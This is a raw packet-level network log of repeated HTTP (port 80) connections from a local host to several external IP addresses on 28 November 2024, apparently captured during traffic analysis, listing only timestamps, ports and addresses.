Nov 28, 2024 09:15:17.045440912 CET	49973	80	192.168.2.5	3.33.130.190
Nov 28, 2024 09:15:17.048515081 CET	49973	80	192.168.2.5	3.33.130.190
Nov 28, 2024 09:15:17.168514967 CET	80	49973	3.33.130.190	192.168.2.5
Nov 28, 2024 09:15:22.419326067 CET	49984	80	192.168.2.5	172.67.222.69
Nov 28, 2024 09:15:22.539345026 CET	80	49984	172.67.222.69	192.168.2.5
Nov 28, 2024 09:15:22.540868998 CET	49984	80	192.168.2.5	172.67.222.69
Nov 28, 2024 09:15:22.555114031 CET	49984	80	192.168.2.5	172.67.222.69
Nov 28, 2024 09:15:22.675128937 CET	80	49984	172.67.222.69	192.168.2.5
Nov 28, 2024 09:15:23.873202085 CET	80	49984	172.67.222.69	192.168.2.5
Nov 28, 2024 09:15:23.873219967 CET	80	49984	172.67.222.69	192.168.2.5
Nov 28, 2024 09:15:23.873284101 CET	80	49984	172.67.222.69	192.168.2.5
Nov 28, 2024 09:15:23.873450041 CET	49984	80	192.168.2.5	172.67.222.69
Nov 28, 2024 09:15:24.064662933 CET	49984	80	192.168.2.5	172.67.222.69
Nov 28, 2024 09:15:25.080657959 CET	49991	80	192.168.2.5	172.67.222.69
Nov 28, 2024 09:15:25.200664043 CET	80	49991	172.67.222.69	192.168.2.5
Nov 28, 2024 09:15:25.200741053 CET	49991	80	192.168.2.5	172.67.222.69
Nov 28, 2024 09:15:25.222577095 CET	49991	80	192.168.2.5	172.67.222.69
Nov 28, 2024 09:15:25.342677116 CET	80	49991	172.67.222.69	192.168.2.5
Nov 28, 2024 09:15:26.487931013 CET	80	49991	172.67.222.69	192.168.2.5
Nov 28, 2024 09:15:26.488049984 CET	80	49991	172.67.222.69	192.168.2.5
Nov 28, 2024 09:15:26.488291979 CET	49991	80	192.168.2.5	172.67.222.69
Nov 28, 2024 09:15:26.488455057 CET	80	49991	172.67.222.69	192.168.2.5
Nov 28, 2024 09:15:26.491477013 CET	49991	80	192.168.2.5	172.67.222.69
Nov 28, 2024 09:15:26.732775927 CET	49991	80	192.168.2.5	172.67.222.69
Nov 28, 2024 09:15:27.751461983 CET	49999	80	192.168.2.5	172.67.222.69
Nov 28, 2024 09:15:27.871656895 CET	80	49999	172.67.222.69	192.168.2.5
Nov 28, 2024 09:15:27.872129917 CET	49999	80	192.168.2.5	172.67.222.69
Nov 28, 2024 09:15:27.887921095 CET	49999	80	192.168.2.5	172.67.222.69
Nov 28, 2024 09:15:28.007942915 CET	80	49999	172.67.222.69	192.168.2.5
Nov 28, 2024 09:15:28.008002996 CET	80	49999	172.67.222.69	192.168.2.5
Nov 28, 2024 09:15:29.245755911 CET	80	49999	172.67.222.69	192.168.2.5
Nov 28, 2024 09:15:29.245919943 CET	80	49999	172.67.222.69	192.168.2.5
Nov 28, 2024 09:15:29.245975018 CET	49999	80	192.168.2.5	172.67.222.69
Nov 28, 2024 09:15:29.246010065 CET	80	49999	172.67.222.69	192.168.2.5
Nov 28, 2024 09:15:29.246078014 CET	49999	80	192.168.2.5	172.67.222.69
Nov 28, 2024 09:15:29.404813051 CET	49999	80	192.168.2.5	172.67.222.69
Nov 28, 2024 09:15:30.423643112 CET	50006	80	192.168.2.5	172.67.222.69
Nov 28, 2024 09:15:30.543572903 CET	80	50006	172.67.222.69	192.168.2.5
Nov 28, 2024 09:15:30.543682098 CET	50006	80	192.168.2.5	172.67.222.69
Nov 28, 2024 09:15:30.552664042 CET	50006	80	192.168.2.5	172.67.222.69
Nov 28, 2024 09:15:30.672523022 CET	80	50006	172.67.222.69	192.168.2.5
Nov 28, 2024 09:15:31.883143902 CET	80	50006	172.67.222.69	192.168.2.5
Nov 28, 2024 09:15:31.883244991 CET	80	50006	172.67.222.69	192.168.2.5
Nov 28, 2024 09:15:31.883521080 CET	80	50006	172.67.222.69	192.168.2.5
Nov 28, 2024 09:15:31.884021997 CET	50006	80	192.168.2.5	172.67.222.69
Nov 28, 2024 09:15:31.888676882 CET	50006	80	192.168.2.5	172.67.222.69
Nov 28, 2024 09:15:32.008610010 CET	80	50006	172.67.222.69	192.168.2.5
Nov 28, 2024 09:15:37.851084948 CET	50007	80	192.168.2.5	103.249.106.91
Nov 28, 2024 09:15:37.971100092 CET	80	50007	103.249.106.91	192.168.2.5
Nov 28, 2024 09:15:37.972739935 CET	50007	80	192.168.2.5	103.249.106.91
Nov 28, 2024 09:15:37.988668919 CET	50007	80	192.168.2.5	103.249.106.91
Nov 28, 2024 09:15:38.108624935 CET	80	50007	103.249.106.91	192.168.2.5
Nov 28, 2024 09:15:39.491436958 CET	80	50007	103.249.106.91	192.168.2.5
Nov 28, 2024 09:15:39.491539001 CET	80	50007	103.249.106.91	192.168.2.5
Nov 28, 2024 09:15:39.491584063 CET	50007	80	192.168.2.5	103.249.106.91
Nov 28, 2024 09:15:39.507328987 CET	50007	80	192.168.2.5	103.249.106.91
Nov 28, 2024 09:15:40.517190933 CET	50008	80	192.168.2.5	103.249.106.91
Nov 28, 2024 09:15:40.637401104 CET	80	50008	103.249.106.91	192.168.2.5
Nov 28, 2024 09:15:40.637482882 CET	50008	80	192.168.2.5	103.249.106.91
Nov 28, 2024 09:15:40.655679941 CET	50008	80	192.168.2.5	103.249.106.91
Nov 28, 2024 09:15:40.775646925 CET	80	50008	103.249.106.91	192.168.2.5
Nov 28, 2024 09:15:42.170839071 CET	50008	80	192.168.2.5	103.249.106.91
Nov 28, 2024 09:15:42.222166061 CET	80	50008	103.249.106.91	192.168.2.5
Nov 28, 2024 09:15:42.222182035 CET	80	50008	103.249.106.91	192.168.2.5
Nov 28, 2024 09:15:42.222297907 CET	50008	80	192.168.2.5	103.249.106.91
Nov 28, 2024 09:15:42.222297907 CET	50008	80	192.168.2.5	103.249.106.91
Nov 28, 2024 09:15:42.290951014 CET	80	50008	103.249.106.91	192.168.2.5
Nov 28, 2024 09:15:42.291039944 CET	50008	80	192.168.2.5	103.249.106.91
Nov 28, 2024 09:15:43.197063923 CET	50009	80	192.168.2.5	103.249.106.91
Nov 28, 2024 09:15:43.320076942 CET	80	50009	103.249.106.91	192.168.2.5
Nov 28, 2024 09:15:43.320158958 CET	50009	80	192.168.2.5	103.249.106.91
Nov 28, 2024 09:15:43.337343931 CET	50009	80	192.168.2.5	103.249.106.91
Nov 28, 2024 09:15:43.457509995 CET	80	50009	103.249.106.91	192.168.2.5
Nov 28, 2024 09:15:43.457545996 CET	80	50009	103.249.106.91	192.168.2.5
Nov 28, 2024 09:15:44.842297077 CET	50009	80	192.168.2.5	103.249.106.91
Nov 28, 2024 09:15:44.945220947 CET	80	50009	103.249.106.91	192.168.2.5
Nov 28, 2024 09:15:44.945297956 CET	80	50009	103.249.106.91	192.168.2.5
Nov 28, 2024 09:15:44.945329905 CET	50009	80	192.168.2.5	103.249.106.91
Nov 28, 2024 09:15:44.945363998 CET	50009	80	192.168.2.5	103.249.106.91
Nov 28, 2024 09:15:44.962306023 CET	80	50009	103.249.106.91	192.168.2.5
Nov 28, 2024 09:15:44.962359905 CET	50009	80	192.168.2.5	103.249.106.91
Nov 28, 2024 09:15:45.860796928 CET	50010	80	192.168.2.5	103.249.106.91
Nov 28, 2024 09:15:45.980895042 CET	80	50010	103.249.106.91	192.168.2.5
Nov 28, 2024 09:15:45.981326103 CET	50010	80	192.168.2.5	103.249.106.91
Nov 28, 2024 09:15:45.992675066 CET	50010	80	192.168.2.5	103.249.106.91
Nov 28, 2024 09:15:46.113987923 CET	80	50010	103.249.106.91	192.168.2.5
Nov 28, 2024 09:15:48.469150066 CET	80	50010	103.249.106.91	192.168.2.5
Nov 28, 2024 09:15:48.469310045 CET	80	50010	103.249.106.91	192.168.2.5
Nov 28, 2024 09:15:48.469324112 CET	80	50010	103.249.106.91	192.168.2.5
Nov 28, 2024 09:15:48.469587088 CET	50010	80	192.168.2.5	103.249.106.91
Nov 28, 2024 09:15:48.470067978 CET	80	50010	103.249.106.91	192.168.2.5
Nov 28, 2024 09:15:48.470081091 CET	80	50010	103.249.106.91	192.168.2.5
Nov 28, 2024 09:15:48.470871925 CET	80	50010	103.249.106.91	192.168.2.5
Nov 28, 2024 09:15:48.470894098 CET	80	50010	103.249.106.91	192.168.2.5
Nov 28, 2024 09:15:48.471194029 CET	50010	80	192.168.2.5	103.249.106.91
Nov 28, 2024 09:15:48.471735001 CET	80	50010	103.249.106.91	192.168.2.5
Nov 28, 2024 09:15:48.471751928 CET	80	50010	103.249.106.91	192.168.2.5
Nov 28, 2024 09:15:48.472459078 CET	80	50010	103.249.106.91	192.168.2.5
Nov 28, 2024 09:15:48.472512007 CET	50010	80	192.168.2.5	103.249.106.91
Nov 28, 2024 09:15:48.478844881 CET	50010	80	192.168.2.5	103.249.106.91
Nov 28, 2024 09:15:48.589679003 CET	80	50010	103.249.106.91	192.168.2.5
Nov 28, 2024 09:15:48.589818954 CET	80	50010	103.249.106.91	192.168.2.5
Nov 28, 2024 09:15:48.590707064 CET	50010	80	192.168.2.5	103.249.106.91
Nov 28, 2024 09:15:48.593766928 CET	80	50010	103.249.106.91	192.168.2.5
Nov 28, 2024 09:15:48.638972044 CET	50010	80	192.168.2.5	103.249.106.91
Nov 28, 2024 09:15:48.687228918 CET	80	50010	103.249.106.91	192.168.2.5
Nov 28, 2024 09:15:48.687287092 CET	80	50010	103.249.106.91	192.168.2.5
Nov 28, 2024 09:15:48.687381029 CET	50010	80	192.168.2.5	103.249.106.91
Nov 28, 2024 09:15:48.691385031 CET	80	50010	103.249.106.91	192.168.2.5
Nov 28, 2024 09:15:48.691518068 CET	80	50010	103.249.106.91	192.168.2.5
Nov 28, 2024 09:15:48.691601038 CET	50010	80	192.168.2.5	103.249.106.91
Nov 28, 2024 09:15:48.699693918 CET	80	50010	103.249.106.91	192.168.2.5
Nov 28, 2024 09:15:48.699795008 CET	50010	80	192.168.2.5	103.249.106.91
Nov 28, 2024 09:15:48.703610897 CET	50010	80	192.168.2.5	103.249.106.91
Nov 28, 2024 09:15:48.823585987 CET	80	50010	103.249.106.91	192.168.2.5
Nov 28, 2024 09:15:54.213346958 CET	50011	80	192.168.2.5	121.43.155.35
Nov 28, 2024 09:15:54.334681034 CET	80	50011	121.43.155.35	192.168.2.5
Nov 28, 2024 09:15:54.336663961 CET	50011	80	192.168.2.5	121.43.155.35
Nov 28, 2024 09:15:54.352663994 CET	50011	80	192.168.2.5	121.43.155.35
Nov 28, 2024 09:15:54.473283052 CET	80	50011	121.43.155.35	192.168.2.5
Nov 28, 2024 09:15:55.805223942 CET	80	50011	121.43.155.35	192.168.2.5
Nov 28, 2024 09:15:55.805290937 CET	80	50011	121.43.155.35	192.168.2.5
Nov 28, 2024 09:15:55.805541992 CET	80	50011	121.43.155.35	192.168.2.5
Nov 28, 2024 09:15:55.805630922 CET	50011	80	192.168.2.5	121.43.155.35
Nov 28, 2024 09:15:55.805732012 CET	80	50011	121.43.155.35	192.168.2.5
Nov 28, 2024 09:15:55.805844069 CET	50011	80	192.168.2.5	121.43.155.35
Nov 28, 2024 09:15:55.806163073 CET	80	50011	121.43.155.35	192.168.2.5
Nov 28, 2024 09:15:55.806325912 CET	80	50011	121.43.155.35	192.168.2.5
Nov 28, 2024 09:15:55.806411982 CET	50011	80	192.168.2.5	121.43.155.35
Nov 28, 2024 09:15:55.806941986 CET	80	50011	121.43.155.35	192.168.2.5
Nov 28, 2024 09:15:55.807471037 CET	80	50011	121.43.155.35	192.168.2.5
Nov 28, 2024 09:15:55.807548046 CET	50011	80	192.168.2.5	121.43.155.35
Nov 28, 2024 09:15:55.807777882 CET	80	50011	121.43.155.35	192.168.2.5
Nov 28, 2024 09:15:55.807991982 CET	80	50011	121.43.155.35	192.168.2.5
Nov 28, 2024 09:15:55.808037043 CET	50011	80	192.168.2.5	121.43.155.35
Nov 28, 2024 09:15:55.857763052 CET	50011	80	192.168.2.5	121.43.155.35
Nov 28, 2024 09:15:55.925668955 CET	80	50011	121.43.155.35	192.168.2.5
Nov 28, 2024 09:15:55.925803900 CET	50011	80	192.168.2.5	121.43.155.35
Nov 28, 2024 09:15:55.925831079 CET	80	50011	121.43.155.35	192.168.2.5
Nov 28, 2024 09:15:55.925937891 CET	50011	80	192.168.2.5	121.43.155.35
Nov 28, 2024 09:15:55.929929972 CET	80	50011	121.43.155.35	192.168.2.5
Nov 28, 2024 09:15:55.930033922 CET	50011	80	192.168.2.5	121.43.155.35
Nov 28, 2024 09:15:55.930082083 CET	80	50011	121.43.155.35	192.168.2.5
Nov 28, 2024 09:15:55.930134058 CET	50011	80	192.168.2.5	121.43.155.35
Nov 28, 2024 09:15:55.938571930 CET	80	50011	121.43.155.35	192.168.2.5
Nov 28, 2024 09:15:55.938621998 CET	50011	80	192.168.2.5	121.43.155.35
Nov 28, 2024 09:15:55.938771963 CET	80	50011	121.43.155.35	192.168.2.5
Nov 28, 2024 09:15:55.938844919 CET	50011	80	192.168.2.5	121.43.155.35
Nov 28, 2024 09:15:56.876332998 CET	50012	80	192.168.2.5	121.43.155.35
Nov 28, 2024 09:15:56.996494055 CET	80	50012	121.43.155.35	192.168.2.5
Nov 28, 2024 09:15:56.996726990 CET	50012	80	192.168.2.5	121.43.155.35
Nov 28, 2024 09:15:57.012895107 CET	50012	80	192.168.2.5	121.43.155.35
Nov 28, 2024 09:15:57.132906914 CET	80	50012	121.43.155.35	192.168.2.5
Nov 28, 2024 09:15:58.512017012 CET	80	50012	121.43.155.35	192.168.2.5
Nov 28, 2024 09:15:58.512131929 CET	80	50012	121.43.155.35	192.168.2.5
Nov 28, 2024 09:15:58.512412071 CET	50012	80	192.168.2.5	121.43.155.35
Nov 28, 2024 09:15:58.512721062 CET	80	50012	121.43.155.35	192.168.2.5
Nov 28, 2024 09:15:58.512983084 CET	80	50012	121.43.155.35	192.168.2.5
Nov 28, 2024 09:15:58.513514996 CET	80	50012	121.43.155.35	192.168.2.5
Nov 28, 2024 09:15:58.513629913 CET	50012	80	192.168.2.5	121.43.155.35
Nov 28, 2024 09:15:58.513668060 CET	80	50012	121.43.155.35	192.168.2.5
Nov 28, 2024 09:15:58.513879061 CET	50012	80	192.168.2.5	121.43.155.35
Nov 28, 2024 09:15:58.514084101 CET	80	50012	121.43.155.35	192.168.2.5
Nov 28, 2024 09:15:58.514262915 CET	80	50012	121.43.155.35	192.168.2.5
Nov 28, 2024 09:15:58.514342070 CET	50012	80	192.168.2.5	121.43.155.35
Nov 28, 2024 09:15:58.514750957 CET	80	50012	121.43.155.35	192.168.2.5
Nov 28, 2024 09:15:58.514883995 CET	80	50012	121.43.155.35	192.168.2.5
Nov 28, 2024 09:15:58.514983892 CET	50012	80	192.168.2.5	121.43.155.35
Nov 28, 2024 09:15:58.529932022 CET	50012	80	192.168.2.5	121.43.155.35
Nov 28, 2024 09:15:58.632505894 CET	80	50012	121.43.155.35	192.168.2.5
Nov 28, 2024 09:15:58.632652998 CET	50012	80	192.168.2.5	121.43.155.35
Nov 28, 2024 09:15:58.632710934 CET	80	50012	121.43.155.35	192.168.2.5
Nov 28, 2024 09:15:58.636650085 CET	80	50012	121.43.155.35	192.168.2.5
Nov 28, 2024 09:15:58.636722088 CET	50012	80	192.168.2.5	121.43.155.35
Nov 28, 2024 09:15:58.636722088 CET	50012	80	192.168.2.5	121.43.155.35
Nov 28, 2024 09:15:58.636820078 CET	80	50012	121.43.155.35	192.168.2.5
Nov 28, 2024 09:15:58.639615059 CET	50012	80	192.168.2.5	121.43.155.35
Nov 28, 2024 09:15:58.645093918 CET	80	50012	121.43.155.35	192.168.2.5
Nov 28, 2024 09:15:58.645203114 CET	50012	80	192.168.2.5	121.43.155.35
Nov 28, 2024 09:15:58.645315886 CET	80	50012	121.43.155.35	192.168.2.5
Nov 28, 2024 09:15:58.645477057 CET	50012	80	192.168.2.5	121.43.155.35
Nov 28, 2024 09:15:59.549088001 CET	50013	80	192.168.2.5	121.43.155.35
Nov 28, 2024 09:15:59.669188976 CET	80	50013	121.43.155.35	192.168.2.5
Nov 28, 2024 09:15:59.669275999 CET	50013	80	192.168.2.5	121.43.155.35
Nov 28, 2024 09:15:59.688683987 CET	50013	80	192.168.2.5	121.43.155.35
Nov 28, 2024 09:15:59.808856010 CET	80	50013	121.43.155.35	192.168.2.5
Nov 28, 2024 09:15:59.808878899 CET	80	50013	121.43.155.35	192.168.2.5
Nov 28, 2024 09:16:01.158471107 CET	80	50013	121.43.155.35	192.168.2.5
Nov 28, 2024 09:16:01.158634901 CET	80	50013	121.43.155.35	192.168.2.5
Nov 28, 2024 09:16:01.158694983 CET	50013	80	192.168.2.5	121.43.155.35
Nov 28, 2024 09:16:01.159358978 CET	80	50013	121.43.155.35	192.168.2.5
Nov 28, 2024 09:16:01.159503937 CET	80	50013	121.43.155.35	192.168.2.5
Nov 28, 2024 09:16:01.159539938 CET	50013	80	192.168.2.5	121.43.155.35
Nov 28, 2024 09:16:01.160017967 CET	80	50013	121.43.155.35	192.168.2.5
Nov 28, 2024 09:16:01.160193920 CET	80	50013	121.43.155.35	192.168.2.5
Nov 28, 2024 09:16:01.160233021 CET	50013	80	192.168.2.5	121.43.155.35
Nov 28, 2024 09:16:01.160522938 CET	80	50013	121.43.155.35	192.168.2.5
Nov 28, 2024 09:16:01.160713911 CET	80	50013	121.43.155.35	192.168.2.5
Nov 28, 2024 09:16:01.160747051 CET	50013	80	192.168.2.5	121.43.155.35
Nov 28, 2024 09:16:01.161035061 CET	80	50013	121.43.155.35	192.168.2.5
Nov 28, 2024 09:16:01.161178112 CET	80	50013	121.43.155.35	192.168.2.5
Nov 28, 2024 09:16:01.161214113 CET	50013	80	192.168.2.5	121.43.155.35
Nov 28, 2024 09:16:01.185894966 CET	50013	80	192.168.2.5	121.43.155.35
Nov 28, 2024 09:16:01.278723955 CET	80	50013	121.43.155.35	192.168.2.5
Nov 28, 2024 09:16:01.278779030 CET	50013	80	192.168.2.5	121.43.155.35
Nov 28, 2024 09:16:01.278886080 CET	80	50013	121.43.155.35	192.168.2.5
Nov 28, 2024 09:16:01.278923035 CET	50013	80	192.168.2.5	121.43.155.35
Nov 28, 2024 09:16:01.282948971 CET	80	50013	121.43.155.35	192.168.2.5
Nov 28, 2024 09:16:01.282989025 CET	50013	80	192.168.2.5	121.43.155.35
Nov 28, 2024 09:16:01.283113003 CET	80	50013	121.43.155.35	192.168.2.5
Nov 28, 2024 09:16:01.283195972 CET	50013	80	192.168.2.5	121.43.155.35
Nov 28, 2024 09:16:01.291363001 CET	80	50013	121.43.155.35	192.168.2.5
Nov 28, 2024 09:16:01.291410923 CET	50013	80	192.168.2.5	121.43.155.35
Nov 28, 2024 09:16:01.291523933 CET	80	50013	121.43.155.35	192.168.2.5
Nov 28, 2024 09:16:01.291563034 CET	50013	80	192.168.2.5	121.43.155.35
Nov 28, 2024 09:16:02.204729080 CET	50014	80	192.168.2.5	121.43.155.35
Nov 28, 2024 09:16:02.324851036 CET	80	50014	121.43.155.35	192.168.2.5
Nov 28, 2024 09:16:02.325216055 CET	50014	80	192.168.2.5	121.43.155.35
Nov 28, 2024 09:16:02.334196091 CET	50014	80	192.168.2.5	121.43.155.35
Nov 28, 2024 09:16:02.454178095 CET	80	50014	121.43.155.35	192.168.2.5
Nov 28, 2024 09:16:03.757971048 CET	80	50014	121.43.155.35	192.168.2.5
Nov 28, 2024 09:16:03.758352995 CET	80	50014	121.43.155.35	192.168.2.5
Nov 28, 2024 09:16:03.758719921 CET	80	50014	121.43.155.35	192.168.2.5
Nov 28, 2024 09:16:03.758936882 CET	80	50014	121.43.155.35	192.168.2.5
Nov 28, 2024 09:16:03.758956909 CET	80	50014	121.43.155.35	192.168.2.5
Nov 28, 2024 09:16:03.758980036 CET	80	50014	121.43.155.35	192.168.2.5
Nov 28, 2024 09:16:03.758985996 CET	50014	80	192.168.2.5	121.43.155.35
Nov 28, 2024 09:16:03.759073019 CET	80	50014	121.43.155.35	192.168.2.5
Nov 28, 2024 09:16:03.759087086 CET	50014	80	192.168.2.5	121.43.155.35
Nov 28, 2024 09:16:03.759202003 CET	80	50014	121.43.155.35	192.168.2.5
Nov 28, 2024 09:16:03.759721041 CET	80	50014	121.43.155.35	192.168.2.5
Nov 28, 2024 09:16:03.759928942 CET	80	50014	121.43.155.35	192.168.2.5
Nov 28, 2024 09:16:03.760797977 CET	50014	80	192.168.2.5	121.43.155.35
Nov 28, 2024 09:16:03.880698919 CET	80	50014	121.43.155.35	192.168.2.5
Nov 28, 2024 09:16:03.881036043 CET	80	50014	121.43.155.35	192.168.2.5
Nov 28, 2024 09:16:03.884845972 CET	50014	80	192.168.2.5	121.43.155.35
Nov 28, 2024 09:16:03.884874105 CET	80	50014	121.43.155.35	192.168.2.5
Nov 28, 2024 09:16:03.885018110 CET	80	50014	121.43.155.35	192.168.2.5
Nov 28, 2024 09:16:03.885106087 CET	50014	80	192.168.2.5	121.43.155.35
Nov 28, 2024 09:16:03.893321991 CET	80	50014	121.43.155.35	192.168.2.5
Nov 28, 2024 09:16:03.893452883 CET	80	50014	121.43.155.35	192.168.2.5
Nov 28, 2024 09:16:03.898600101 CET	50014	80	192.168.2.5	121.43.155.35
Nov 28, 2024 09:16:04.034090996 CET	80	50014	121.43.155.35	192.168.2.5
Nov 28, 2024 09:16:04.036828041 CET	50014	80	192.168.2.5	121.43.155.35
Nov 28, 2024 09:16:04.040682077 CET	50014	80	192.168.2.5	121.43.155.35
Nov 28, 2024 09:16:04.160758972 CET	80	50014	121.43.155.35	192.168.2.5
Nov 28, 2024 09:16:09.633563042 CET	50015	80	192.168.2.5	199.192.23.123
Nov 28, 2024 09:16:09.753717899 CET	80	50015	199.192.23.123	192.168.2.5
Nov 28, 2024 09:16:09.756870985 CET	50015	80	192.168.2.5	199.192.23.123
Nov 28, 2024 09:16:09.778213978 CET	50015	80	192.168.2.5	199.192.23.123
Nov 28, 2024 09:16:09.898150921 CET	80	50015	199.192.23.123	192.168.2.5
Nov 28, 2024 09:16:11.036739111 CET	80	50015	199.192.23.123	192.168.2.5
Nov 28, 2024 09:16:11.036860943 CET	80	50015	199.192.23.123	192.168.2.5
Nov 28, 2024 09:16:11.036905050 CET	50015	80	192.168.2.5	199.192.23.123
Nov 28, 2024 09:16:11.279493093 CET	50015	80	192.168.2.5	199.192.23.123
Nov 28, 2024 09:16:12.314682961 CET	50016	80	192.168.2.5	199.192.23.123
Nov 28, 2024 09:16:12.434571981 CET	80	50016	199.192.23.123	192.168.2.5
Nov 28, 2024 09:16:12.434840918 CET	50016	80	192.168.2.5	199.192.23.123
Nov 28, 2024 09:16:12.448820114 CET	50016	80	192.168.2.5	199.192.23.123
Nov 28, 2024 09:16:12.568882942 CET	80	50016	199.192.23.123	192.168.2.5
Nov 28, 2024 09:16:13.712052107 CET	80	50016	199.192.23.123	192.168.2.5
Nov 28, 2024 09:16:13.712178946 CET	80	50016	199.192.23.123	192.168.2.5
Nov 28, 2024 09:16:13.717052937 CET	50016	80	192.168.2.5	199.192.23.123
Nov 28, 2024 09:16:13.954804897 CET	50016	80	192.168.2.5	199.192.23.123
Nov 28, 2024 09:16:14.972187996 CET	50017	80	192.168.2.5	199.192.23.123
Nov 28, 2024 09:16:15.092150927 CET	80	50017	199.192.23.123	192.168.2.5
Nov 28, 2024 09:16:15.092230082 CET	50017	80	192.168.2.5	199.192.23.123
Nov 28, 2024 09:16:15.108933926 CET	50017	80	192.168.2.5	199.192.23.123
Nov 28, 2024 09:16:15.228936911 CET	80	50017	199.192.23.123	192.168.2.5
Nov 28, 2024 09:16:15.229001999 CET	80	50017	199.192.23.123	192.168.2.5
Nov 28, 2024 09:16:16.455202103 CET	80	50017	199.192.23.123	192.168.2.5
Nov 28, 2024 09:16:16.455284119 CET	80	50017	199.192.23.123	192.168.2.5
Nov 28, 2024 09:16:16.456672907 CET	50017	80	192.168.2.5	199.192.23.123
Nov 28, 2024 09:16:16.624670982 CET	50017	80	192.168.2.5	199.192.23.123
Nov 28, 2024 09:16:17.642560005 CET	50018	80	192.168.2.5	199.192.23.123
Nov 28, 2024 09:16:17.762679100 CET	80	50018	199.192.23.123	192.168.2.5
Nov 28, 2024 09:16:17.764811993 CET	50018	80	192.168.2.5	199.192.23.123
Nov 28, 2024 09:16:17.776678085 CET	50018	80	192.168.2.5	199.192.23.123
Nov 28, 2024 09:16:17.896583080 CET	80	50018	199.192.23.123	192.168.2.5
Nov 28, 2024 09:16:19.104046106 CET	80	50018	199.192.23.123	192.168.2.5
Nov 28, 2024 09:16:19.104131937 CET	80	50018	199.192.23.123	192.168.2.5
Nov 28, 2024 09:16:19.104204893 CET	50018	80	192.168.2.5	199.192.23.123
Nov 28, 2024 09:16:19.107369900 CET	50018	80	192.168.2.5	199.192.23.123
Nov 28, 2024 09:16:19.227480888 CET	80	50018	199.192.23.123	192.168.2.5
Nov 28, 2024 09:16:24.761337996 CET	50019	80	192.168.2.5	52.60.87.163
Nov 28, 2024 09:16:24.881225109 CET	80	50019	52.60.87.163	192.168.2.5
Nov 28, 2024 09:16:24.881311893 CET	50019	80	192.168.2.5	52.60.87.163
Nov 28, 2024 09:16:24.896471024 CET	50019	80	192.168.2.5	52.60.87.163
Nov 28, 2024 09:16:25.016680002 CET	80	50019	52.60.87.163	192.168.2.5
Nov 28, 2024 09:16:26.085532904 CET	80	50019	52.60.87.163	192.168.2.5
Nov 28, 2024 09:16:26.085570097 CET	80	50019	52.60.87.163	192.168.2.5
Nov 28, 2024 09:16:26.085633993 CET	50019	80	192.168.2.5	52.60.87.163
Nov 28, 2024 09:16:26.404601097 CET	50019	80	192.168.2.5	52.60.87.163
Nov 28, 2024 09:16:27.423460007 CET	50020	80	192.168.2.5	52.60.87.163
Nov 28, 2024 09:16:27.545871019 CET	80	50020	52.60.87.163	192.168.2.5
Nov 28, 2024 09:16:27.545958996 CET	50020	80	192.168.2.5	52.60.87.163
Nov 28, 2024 09:16:27.565336943 CET	50020	80	192.168.2.5	52.60.87.163
Nov 28, 2024 09:16:27.686666965 CET	80	50020	52.60.87.163	192.168.2.5
Nov 28, 2024 09:16:28.752336025 CET	80	50020	52.60.87.163	192.168.2.5
Nov 28, 2024 09:16:28.752351999 CET	80	50020	52.60.87.163	192.168.2.5
Nov 28, 2024 09:16:28.752418995 CET	50020	80	192.168.2.5	52.60.87.163
Nov 28, 2024 09:16:29.076404095 CET	50020	80	192.168.2.5	52.60.87.163
Nov 28, 2024 09:16:30.096688032 CET	50021	80	192.168.2.5	52.60.87.163
Nov 28, 2024 09:16:30.216711998 CET	80	50021	52.60.87.163	192.168.2.5
Nov 28, 2024 09:16:30.216979980 CET	50021	80	192.168.2.5	52.60.87.163
Nov 28, 2024 09:16:30.232676029 CET	50021	80	192.168.2.5	52.60.87.163
Nov 28, 2024 09:16:30.352854013 CET	80	50021	52.60.87.163	192.168.2.5
Nov 28, 2024 09:16:30.352876902 CET	80	50021	52.60.87.163	192.168.2.5
Nov 28, 2024 09:16:31.380040884 CET	80	50021	52.60.87.163	192.168.2.5
Nov 28, 2024 09:16:31.380093098 CET	80	50021	52.60.87.163	192.168.2.5
Nov 28, 2024 09:16:31.380140066 CET	50021	80	192.168.2.5	52.60.87.163
Nov 28, 2024 09:16:31.732722044 CET	50021	80	192.168.2.5	52.60.87.163
Nov 28, 2024 09:16:32.751912117 CET	50022	80	192.168.2.5	52.60.87.163
Nov 28, 2024 09:16:32.871934891 CET	80	50022	52.60.87.163	192.168.2.5
Nov 28, 2024 09:16:32.872029066 CET	50022	80	192.168.2.5	52.60.87.163
Nov 28, 2024 09:16:32.883420944 CET	50022	80	192.168.2.5	52.60.87.163
Nov 28, 2024 09:16:33.003460884 CET	80	50022	52.60.87.163	192.168.2.5
Nov 28, 2024 09:16:34.075501919 CET	80	50022	52.60.87.163	192.168.2.5
Nov 28, 2024 09:16:34.075728893 CET	80	50022	52.60.87.163	192.168.2.5
Nov 28, 2024 09:16:34.075742960 CET	80	50022	52.60.87.163	192.168.2.5
Nov 28, 2024 09:16:34.075876951 CET	50022	80	192.168.2.5	52.60.87.163
Nov 28, 2024 09:16:34.076488018 CET	80	50022	52.60.87.163	192.168.2.5
Nov 28, 2024 09:16:34.076514959 CET	80	50022	52.60.87.163	192.168.2.5
Nov 28, 2024 09:16:34.076548100 CET	50022	80	192.168.2.5	52.60.87.163
Nov 28, 2024 09:16:34.077272892 CET	80	50022	52.60.87.163	192.168.2.5
Nov 28, 2024 09:16:34.077286959 CET	80	50022	52.60.87.163	192.168.2.5
Nov 28, 2024 09:16:34.077404022 CET	50022	80	192.168.2.5	52.60.87.163
Nov 28, 2024 09:16:34.078151941 CET	80	50022	52.60.87.163	192.168.2.5
Nov 28, 2024 09:16:34.078170061 CET	80	50022	52.60.87.163	192.168.2.5
Nov 28, 2024 09:16:34.078190088 CET	50022	80	192.168.2.5	52.60.87.163
Nov 28, 2024 09:16:34.078825951 CET	80	50022	52.60.87.163	192.168.2.5
Nov 28, 2024 09:16:34.078885078 CET	50022	80	192.168.2.5	52.60.87.163
Nov 28, 2024 09:16:34.195972919 CET	80	50022	52.60.87.163	192.168.2.5
Nov 28, 2024 09:16:34.196161032 CET	80	50022	52.60.87.163	192.168.2.5
Nov 28, 2024 09:16:34.196289062 CET	50022	80	192.168.2.5	52.60.87.163
Nov 28, 2024 09:16:34.200058937 CET	80	50022	52.60.87.163	192.168.2.5
Nov 28, 2024 09:16:34.248198986 CET	50022	80	192.168.2.5	52.60.87.163
Nov 28, 2024 09:16:34.285759926 CET	80	50022	52.60.87.163	192.168.2.5
Nov 28, 2024 09:16:34.285862923 CET	80	50022	52.60.87.163	192.168.2.5
Nov 28, 2024 09:16:34.288250923 CET	80	50022	52.60.87.163	192.168.2.5
